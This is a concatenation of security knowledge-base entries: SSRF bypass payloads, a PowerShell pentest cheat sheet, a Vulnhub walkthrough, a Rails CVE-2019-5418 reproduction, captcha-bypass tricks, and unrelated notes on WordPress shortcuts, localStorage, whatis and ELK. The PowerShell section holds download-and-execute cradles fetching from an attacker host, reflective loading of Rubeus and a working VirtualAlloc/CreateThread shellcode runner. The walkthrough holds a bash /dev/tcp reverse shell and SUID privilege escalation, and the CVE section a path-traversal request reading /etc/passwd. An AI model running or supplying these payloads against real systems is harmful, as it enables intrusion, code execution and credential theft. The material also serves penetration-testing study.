7. Using IPv6
```
http://0000::1:1337/
http://[::]:1337/
```
8. Using bubble text
```
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
Use this https://capitalizemytitle.com/bubble-text-generator/
```
## How to exploit (URI Scheme)
1. File scheme
```
file:///etc/passwd
```
2. Dict scheme
```
dict://127.0.0.1:1337/
```
3. FTP scheme
```
ftp://127.0.0.1/
```
4. TFTP scheme
```
tftp://evil.com:1337/test
```
5. SFTP scheme
```
sftp://evil.com:1337/test
```
6. LDAP scheme
```
ldap://127.0.0.1:1337/
```
7. Gopher scheme
```
gopher://evil.com/_Test%0ASSRF
```
## References
* [Vickie Li](https://vickieli.medium.com/bypassing-ssrf-protection-e111ae70727b)
|
sec-knowleage
|
# Truncated form (PPC, 208p, 19 solved)
In the task we connect to the server and we have to transform given prime to a very particular format.
For example for prime `p = 868687909307764501147060349605653041999229151489950514965301649295439020807494131325814865675340673135715073631764902639875388586413387565682677871906332667975579403827585630488178998236686725443`
We're supposed to generate `222379878419*457#/5610-1800` where `457#` means `primorial(457)`.
Our approach is fairly simple:
1. Let's iterate over numbers `i` which we will subtract in the end (like -1800 in the example)
2. For each of those numbers we factor the `p+i` number into primes (up to some reasonable values)
3. For each of the prime factors we calculate primorial and then we find the divisor, which will contain all primes smaller than the factor we're analysing right now, except for the prime factors we found for `p+i`.
4. We form the string representation and check if it's short enough. If not, we continute.
```python
from crypto_commons.generic import get_primes, factor_p, long_range
from crypto_commons.netcat.netcat_commons import receive_until_match, nc, send, interactive
def solve(p, primes):
best = 0
for i in long_range(0, 999999999):
factors, res = factor_p(p + i, primes)
factors += [res]
for j in range(len(factors)):
x = factors[j]
if x >= primes[-1]: # skip last large factor
break
primo = primorial(x, False)
divisor = 1
for prime in primes:
if prime > x:
break
if prime not in factors:
divisor *= prime
c = primo / divisor
if divisor > p:
continue
a = (p + i) / c
if (a * primorial(x, False) / divisor - i) != p:
break
result = str(a) + "*" + str(x) + "#/" + str(divisor) + "-" + str(i)
if len(result) <= 29:
return result
return best
```
Once we send the right response to the server we get: `ASIS{f2nD_7H3___MaxMerit___!!!!!!}`
|
sec-knowleage
|
# Powershell
## Summary
- [Powershell](#powershell)
- [Summary](#summary)
- [Execution Policy](#execution-policy)
- [Encoded Commands](#encoded-commands)
- [Constrained Mode](#constrained-mode)
- [Encoded Commands](#encoded-commands)
- [Download file](#download-file)
- [Load Powershell scripts](#load-powershell-scripts)
- [Load C# assembly reflectively](#load-c-assembly-reflectively)
- [Call Win API using delegate functions with Reflection](#call-win-api-using-delegate-functions-with-reflection)
- [Resolve address functions](#resolve-address-functions)
- [DelegateType Reflection](#delegatetype-reflection)
- [Example with a simple shellcode runner](#example-with-a-simple-shellcode-runner)
- [Secure String to Plaintext](#secure-string-to-plaintext)
- [References](#references)
## Execution Policy
```ps1
powershell -EncodedCommand $encodedCommand
powershell -ep bypass ./PowerView.ps1
# Change execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Set-ExecutionPolicy Bypass -Scope Process
```
## Constrained Mode
```ps1
# Check if we are in a constrained mode
# Values could be: FullLanguage or ConstrainedLanguage
$ExecutionContext.SessionState.LanguageMode
## Bypass
powershell -version 2
```
## Encoded Commands
* Windows
```ps1
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```
* Linux: :warning: UTF-16LE encoding is required
```ps1
echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
```
## Download file
```ps1
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output
# Powershell 4+
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
```
## Load Powershell scripts
```ps1
# Proxy-aware
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"
# Non-proxy aware
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
```
## Load C# assembly reflectively
```powershell
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()
# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```
## Call Win API using delegate functions with Reflection
### Resolve address functions
To perform reflection we first need to obtain `GetModuleHandle` and `GetProcAdresse` to be able to lookup of Win32 API function addresses.
To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies.
```powershell
# Retrieve all loaded Assemblies
$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods
$Assemblies |
ForEach-Object {
$_.GetTypes()|
ForEach-Object {
$_ | Get-Member -Static| Where-Object {
$_.TypeName.Contains('Unsafe')
}
} 2> $nul l
```
We want to find where the Assemblies are located, so we will use the statement `Location`. Then we will look for all the methods inside the Assembly `Microsoft.Win32.UnsafeNativeMethods`
TBN: `GetModuleHandle` and `GetProcAddress` are located in `C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll`
If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property `GlobalAssemblyCache` set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the `System.dll`.
```powershell
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')
})
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
```
To retrieve the method `GetModuleHandle`, we can use the method `GetMethod(<METHOD_NAME>)` to retrieve it.
`$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')`
Now we can use the `Invoke` method of our object `$GetModuleHandle` to get a reference of an unmanaged DLL.
Invoke takes two arguments and both are objects:
* The first argument is the object to invoke it on but since we use it on a static method we may set it to "$null".
* The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that.
`$GetModuleHandle.Invoke($null, @("user32.dll"))`
However, we want to use the same method to use the function `GetProcAddress`, it won't work due to the fact that our `System.dll` object retrieved contains multiple occurences of the method `GetProcAddress`. Therefore the internal method `GetMethod()` will throw an error `"Ambiguous match found."`.
Therefore we will use the method `GetMethods()` to get all the available methods and then iterate over them to retrieve only those we want.
```powershell
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
```
If we want to get the `GetProcAddress` reference, we will construct an array to store our matching object and use the first entry.
```powershell
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
```
We need to take the first one, because the arguments type of the second one does not match with ours.
Alternatively we can use `GetMethod` function to precise the argument types that we want.
```powershell
$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress',
[reflection.bindingflags]'Public,Static',
$null,
[System.Reflection.CallingConventions]::Any,
@([System.IntPtr], [string]),
$null);
```
cf: [https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0](https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0)
Now we have everything to resolve any function address we want.
```powershell
$user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
$tmp=@()
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))
```
If we put everything in a function:
```powershell
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
```
### DelegateType Reflection
To be able to use the function that we have retrieved the address, we need to pair the information about the number of arguments and their associated data types with the resolved function memory address. This is done through `DelegateType`.
The DelegateType Reflection consists in manually create an assembly in memory and populate it with content.
The first step is to create a new assembly with the class `AssemblyName` and assign it a name.
```powershell
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
```
Now we want to set permission on our Assembly. We need to set it to executable and to not be saved to the disk. For that the method `DefineDynamicAssembly` will be used.
```powershell
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
```
Now that everything is set, we can start creating content inside our assembly. First, we will need to create the main building block which is a Module. This can be done through the method `DefineDynamicModule`
The method need a custom name as the first argument and a boolean indicating if we want to include symbols or not.
```powershell
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
```
The next step consists by creating a custom type that will become our delegate type. It can be done with the method `DefineType`.
The arguments are:
* a custom name
* the attributes of the type
* the type it build on top of
```powershell
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
```
Then we will need to set the prototype of our function.
First we need to use the method `DefineConstructor` to define a constructor. The method takes three arguments:
* the attributes of the constructor
* calling convention
* the parameter types of the constructor that will become the function prototype
```powershell
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
@([IntPtr], [String], [String], [int]))
```
Then we need to set some implementation flags with the method `SetImplementationFlags`.
```powershell
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
```
To be able to call our function, we need to define the `Invoke` method in our delegate type. For that the method `DefineMethod` allows us to do that.
The method takes four arguments:
* name of the method defined
* method attributes
* return type
* array of argument types
```powershell
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke',
'Public, HideBySig, NewSlot, Virtual',
[int],
@([IntPtr], [String], [String], [int]))
```
If we put everything in a function:
```powershell
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
[Parameter(Position = 2)] [Type] $retType = [Void] # Return type
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
```
### Example with a simple shellcode runner
```powershell
# Create a Delegate function to be able to call the function that we have the address
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
[Parameter(Position = 2)] [Type] $retType = [Void] # Return type
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
# Allow to retrieve function address from a dll
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
# Simple Shellcode runner using delegation
$VirtualAllocAddr = LookupFunc "Kernel32.dll" "VirtualAlloc"
$CreateThreadAddr = LookupFunc "Kernel32.dll" "CreateThread"
$WaitForSingleObjectAddr = LookupFunc "Kernel32.dll" "WaitForSingleObject"
$VirtualAlloc = Get-Delegate $VirtualAllocAddr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$CreateThread = Get-Delegate $CreateThreadAddr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$WaitForSingleObject = Get-Delegate $WaitForSingleObjectAddr @([IntPtr], [Int32]) ([Int])
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0 ...
$mem = $VirtualAlloc.Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length)
$hThread = $CreateThread.Invoke([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
$WaitForSingleObject.Invoke($hThread, 0xFFFFFFFF)
```
## Secure String to Plaintext
```ps1
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
```
## References
* [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/)
* [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters)
|
sec-knowleage
|
---
title: WordPress
date: 2022-11-23 16:23:31.697854
background: bg-[#434140]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 34 keyboard shortcuts found in the WordPress visual editor
---
Keyboard Shortcuts {.cols-2}
------------------
### Editor I
Shortcut | Action
---|---
`Ctrl` `C` | Copy
`Ctrl` `V` | Paste
`Ctrl` `A` | Select all
`Ctrl` `X` | Cut
`Ctrl` `Z` | Undo
`Ctrl` `Y` | Redo
`Ctrl` `B` | Bold
`Ctrl` `I` | Italic
`Ctrl` `U` | Underline
`Ctrl` `K` | Insert or edit a link
`Alt` `Shift` `N` | Check spelling, this requires a plugin
`Alt` `Shift` `L` | Align text left
`Alt` `Shift` `J` | Justify text
`Alt` `Shift` `C` | Align text center
`Alt` `Shift` `D` | Strikethrough
`Alt` `Shift` `R` | Align text right
`Alt` `Shift` `U` | Unordered list
{.shortcuts}
### Editor II
Shortcut | Action
---|---
`Alt` `Shift` `A` | Insert a link
`Alt` `Shift` `O` | Ordered list
`Alt` `Shift` `S` | Remove a link
`Alt` `Shift` `Q` | Quote
`Alt` `Shift` `M` | Insert an image
`Alt` `Shift` `W` | Distraction free writing mode
`Alt` `Shift` `T` | Insert a more tag
`Alt` `Shift` `P` | Insert a page break tag
`Alt` `Shift` `H` | Help
`Alt` `Shift` `X` | Add or remove a code tag
`Alt` `Shift` `1` | Heading one
`Alt` `Shift` `2` | Heading two
`Alt` `Shift` `3` | Heading three
`Alt` `Shift` `4` | Heading four
`Alt` `Shift` `5` | Heading five
`Alt` `Shift` `6` | Heading six
`Alt` `Shift` `9` | Insert an address
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for WordPress](https://wordpress.org/support/article/keyboard-shortcuts/) _(wordpress.org)_
|
sec-knowleage
|
## localStorage
### H5 Web存储(在客户端存储数据)
HTML5 提供了两种在客户端存储数据的新方法:
- `localStorage` - 没有时间限制的数据存储
- `sessionStorage` - 针对一个`session`的数据存储
之前,这些都是由`cookie`完成的。但是`cookie`不适合大量数据的存储,因为它们由每个对服务器的请求来传递,这使得`cookie`速度很慢而且效率也不高。
在 HTML5 中,数据不是由每个服务器请求传递的,而是只有在请求时使用数据。它使在不影响网站性能的情况下存储大量数据成为可能。
对于不同的网站,数据存储于不同的区域,并且一个网站只能访问其自身的数据。
HTML5 使用 JavaScript 来存储和访问数据。
### 什么是`localStorage`、`sessionStorage`
在HTML5中,新加入了一个`localStorage`特性,这个特性主要是用来作为本地存储来使用的,解决了`cookie`存储空间不足的问题(`cookie`中每条`cookie`的存储空间为4k),``localStorage`中一般浏览器支持的是5M大小,这个在不同的浏览器中`localStorage`会有所不同。
### `localStorage`自带方法
名称 | 作用
--------------------- | -----------------------------------------
clear | 清空localStorage上存储的数据
getItem | 读取数据
hasOwnProperty | 检查localStorage上是否保存了变量x,需要传入x
key | 读取第i个数据的名字或称为键值(从0开始计数)
length | localStorage存储变量的个数
propertyIsEnumerable | 用来检测属性是否属于某个对象的
removeItem | 删除某个具体变量
setItem | 存储数据
toLocaleString | 将(数组)转为本地字符串
valueOf | 获取所有存储的数据
**例**:如何创建和访问`localStorage`
```
<script type="text/javascript">
localStorage.lastname="Smith"//创建一个名为lastname的变量
document.write(localStorage.lastname)
</script>
```
**例**:对用户访问页面的次数进行计数
```
<script type="text/javascript">
if (localStorage.pagecount)
{
localStorage.pagecount=Number(localStorage.pagecount) +1;
}
else
{
localStorage.pagecount=1;
}
document.write("Visits "+ localStorage.pagecount + " time(s).");
</script>
```
### `localStorage`的常用写法
```
localStorage.a = 3;//设置a为"3"
localStorage["a"] = "sfsf";//设置a为"sfsf",覆盖上面的值
localStorage.setItem("b","isaac");//设置b为"isaac"
var a1 = localStorage["a"];//获取a的值
var a2 = localStorage.a;//获取a的值
var b = localStorage.getItem("b");//获取b的值
localStorage.removeItem("c");//清除c的值
```
|
sec-knowleage
|
whatis
===
查询一个命令执行什么功能
## 补充说明
**whatis命令** 是用于查询一个命令执行什么功能,并将查询结果打印到终端上。
whatis命令在用`catman -w`命令创建的数据库中查找command参数指定的命令、系统调用、库函数或特殊文件名。whatis命令显示手册部分的页眉行。然后可以发出man命令以获取附加的信息。whatis命令等同于使用`man -f`命令。
### 语法
```shell
whatis
```
### 实例
```shell
[root@localhost ~]# whatis ls
ls (1) - list directory contents
ls (1p) - list directory contents
[root@localhost ~]# whatis cp
cp (1) - copy files and directories
cp (1p) - copy files
[root@localhost ~]# whatis chown
chown (1) - change file owner and group
chown (1p) - change the file ownership
chown (2) - change ownership of a file
chown (3p) - change owner and group of a file
[root@localhost ~]# whatis man
man (1) - format and display the on-line manual pages
man (1p) - display system documentation
man (7) - macros to format man pages
man (rpm) - A set of documentation tools: man, apropos and whatis.
man-pages (rpm) - Man (manual) pages from the Linux Documentation Project.
man.config [man] (5) - configuration data for man
```
|
sec-knowleage
|
# It’s_October1-WalkThrough
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**靶机地址**
- https://www.vulnhub.com/entry/its-october-1,460/
**Description**
Welcome to "It’s October"
This boot to root VM is designed for testing your pentesting skills and concepts. It consists of some well known things but it encourages you to use the functionalities rather than vulnerabilities of target.
Goal: Get the root flag of the target.
Difficulty: Easy/Medium Level
Need hints? Twitter @akankshavermasv
DHCP is enabled
Your feedback is really valuable for me! Twitter @akankshavermasv
Was there something that you didn’t like about this VM?
Please let me know so that I can make more interesting challenges in the future.
Good Luck..!!!
**知识点**
- october 模板注入
- 写 ssh 密钥
**实验环境**
`环境仅供参考`
- VirtualBox 图形用户界面 版本 6.1.2 r135662 (Qt5.6.2)
- kali : 桥接模式,192.168.1.248
- 靶机 : 桥接模式,192.168.1.249
---
# 前期-信息收集
> 这个靶机环境只能用 VirtualBox ,vmware 中打开怎么都获取不到 IP,说是 DHCP enable,单独配了个 DHCP 服务器都获取不到 IP。😒
靶机开机后会显示当前 IP,直接进行端口扫描
```bash
nmap -T5 -A -v -p- --min-rate=5000 192.168.1.249
```
可以看到开了 ssh,2个 web,还有一个 mysql 数据库
分别看一下 80 和 8080
在 8080 的 html 源码中发现一处注释
用这个登录 ssh 和 mysql 试试
只允许密钥登录
mysql 无法连接,估计是其他的凭证,接下来对这 2 个端口目录爆破试试,工具使用 [ffuf](https://github.com/ffuf/ffuf)、字典使用 [AboutSecurity](https://github.com/ffffffff0x/AboutSecurity/)
```bash
./ffuf -c -mc 200,301,302 -t 500 -w AboutSecurity/Dic/Web/Directory/main.txt -u http://192.168.1.249/FUZZ
```
/backend 目录存在 302 跳转,访问看看
是个后台页面,wappalyzer 插件识别出是 october-cms
尝试用之前的账号密码登录,进入后台
---
# 中期-漏洞利用
进后台后翻了一下,没有找到相关的 flag 或其他提示,版本号也没找到,看来是需要利用漏洞 get shell 了,searchsploit 搜下 october-cms
```bash
searchsploit octobercms
```
2 个 XSS 怎么用啊🤣,后来才发现是我搜索姿势不对
```bash
searchsploit october cms
```
要加个空格我是服气的..接下来访问搜出的这几个漏洞。
**October CMS - Upload Protection Bypass Code Execution (Metasploit)**
```bash
msfconsole
use exploit/multi/http/october_upload_bypass_exec
set rhosts 192.168.1.249
set lhost 192.168.1.248
set password adminadmin2
```
利用完毕但未回弹成功,那么换下一个
**October CMS 1.0.412 - Multiple Vulnerabilities**
- https://www.exploit-db.com/exploits/41936
大致描述了 bypass 上传和上传 .htaccess 的利用方法,还有资产管理中的 php 代码执行,既然 msf 没成功那就手动试试
- **bypass 上传**
意思是黑名单中没有包含 php5 后缀的文件
看来不好利用这个
- **.htaccess 上传**
不出所料,同样无法上传
- **PHP code execution via asset management**
本质上还是 php5 后缀绕过,还是无法利用
---
后来搜了一下在新建页面时可以在模板中注入 php 代码
```php
function onstart(){
exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.1.248/4444 0>&1'";
}
```
kali 监听
```bash
nc -lvvp 4444
```
使用 curl 调用 shell
```bash
curl -vv http://192.168.1.249/test
```
成功回弹 shell
---
# 后期-权限提升
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
id
```
www 的权限,接下来找找提权的点
```bash
sudo -l
find / -perm -u=s 2>/dev/null
```
python3.7 具有 suid 位
```bash
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
id
```
```bash
cd /root
cat proof.txt
```
此时可以直接看到 proof.txt 文件。
**ssh**
这里可以通过写公钥到 .ssh 目录下来进行 ssh 登录
攻击机
```bash
ssh-keygen -t rsa
cd .ssh
python -m SimpleHTTPServer 8000
```
靶机
```bash
wget http://192.168.1.248:8000/id_rsa.pub
cp id_rsa.pub /root/.ssh/authorized_keys
```
攻击机
```bash
ssh root@192.168.1.249 -i id_rsa
```
|
sec-knowleage
|
# Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)
在控制器中通过`render file`形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入`Accept: ../../../../../../../../etc/passwd{{`头来构成构造路径穿越漏洞,读取任意文件。
参考链接:
- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
- https://xz.aliyun.com/t/4448
## 环境搭建
执行如下命令编译及启动Rail On Rails 5.2.2:
```
docker compose build
docker compose up -d
```
环境启动后,访问`http://your-ip:3000`即可看到Ruby on Rails的欢迎页面。
## 漏洞复现
访问`http://your-ip:3000/robots`可见,正常的robots.txt文件被读取出来。
利用漏洞,发送如下数据包,读取`/etc/passwd`:
```
GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
成功读取:

|
sec-knowleage
|
# Bad OTPxploited (RevCrypt 100)
> Security buzzwords are used by companies and individuals everywhere althought not all of them even follow good practices, some even provide closed source implementations. Someone published his own OTP library on a subreddit and claims it's unbeatable. Is it? 10.13.37.41
> https://dctf.def.camp/quals-2016/mypam.bin
The binary in the task was a shared library implementing a couple of functions, such as `pam_sm_authenticate`. Googling
it revealed it's `Pluggable authentication module`, used for example as SSH authentication extension. The algorithm was
simple: the user was compared to hardcoded `dctf`, and the password was also constant string concatenated with current date
and time, precise up to minute. After logging in to SSH server running on given IP with found credentials, we received the flag.
|
sec-knowleage
|
# ELK高级使用
## ElasticSearch
### ES插件
* **Head**
[官网地址](http://mobz.github.io/elasticsearch-head/)
[Chrome插件:ElasticSearch Head](https://chrome.google.com/webstore/search/elasticsearch)
* **ElasticHD**
### ElasticSearch创建template
```
curl -XPUT 'http://host/_template/primeledger' \
-H "Content-Type: application/json" \
-d '{"order": 0,"template": "template_name*","settings": \
{"index.number_of_shards": 3,"number_of_replicas": 1}}'
```
### ElasticSearch定期清理索引
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Time : 2018/6/8 上午11:20
# Author : bloodzer0
# File : delete_index.py
import os
import datetime
week_ago = (datetime.datetime.now() - datetime.timedelta(days=3)).strftime("%Y.%m.%d")
command = 'curl -XDELETE "http://hostname/index-%s"' % week_ago
os.system(command)
```
## Logstash
### 常用命令
Command | Note
--- | ---
--config.reload.automatic | 自动重载被修改的配置文件
-f | 加载配置文件
-t | 测试配置文件
### 配置文件
* **解析IP**
```
filter {
geoip {
source => "代表IP的字段名称"
}
}
```
* **多行合并**
```
input {
file {
path => ["log_path"]
codec => multiline {
pattern => "^%{TIMESTAMP_ISO8601}" # 不以标准时间格式开头的行合并为一行
negate => true
what => "previous"
}
}
}
```
## Kibana
### Kibana插件
* **汉化**
[github地址](https://github.com/anbai-inc/Kibana_Hanization/)
### Kibana登录鉴权
* **利用nginx代理进行访问认证**
```
# 安装nginx与nginx认证模块
yum install epel-release -y
yum install nginx.x86_64 httpd-tools.x86_64 -y
# 修改nginx配置文件
vim /etc/nginx/nginx.conf
# 注释掉server内的内容,并添加如下内容
```
```
server {
listen 8080;
server_name kibana;
auth_basic "Restricted Access";
auth_basic_user_file /etc/nginx/kibana-user;
location / {
proxy_pass http://hostname:5601;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
```
配置账号密码
```
# 设置账号密码
htpasswd -cm /etc/nginx/kibana-user username
# 重启nginx服务
systemctl restart nginx.service
```
* **利用xpack进行访问认证**
[xpack破解地址](https://www.cnblogs.com/chengjiawei/p/8991859.html)
## 参考资料
[Elasticsearch史上最全最常用工具清单](https://mp.weixin.qq.com/s/s2ema4tIXKcqTNUUhjGt1w)
|
sec-knowleage
|
# Bypass Captcha (Google reCAPTCHA)
1. Try changing the request method, for example POST to GET
```
POST / HTTP 1.1
Host: target.com
...
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
```
Change the method to GET
```
GET /?_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 HTTP 1.1
Host: target.com
...
```
2. Try remove the value of the captcha parameter
```
POST / HTTP 1.1
Host: target.com
...
_RequestVerificationToken=&_Username=daffa&_Password=test123
```
3. Try reuse old captcha token
```
POST / HTTP 1.1
Host: target.com
...
_RequestVerificationToken=OLD_CAPTCHA_TOKEN&_Username=daffa&_Password=test123
```
4. Convert JSON data to normal request parameter
```
POST / HTTP 1.1
Host: target.com
...
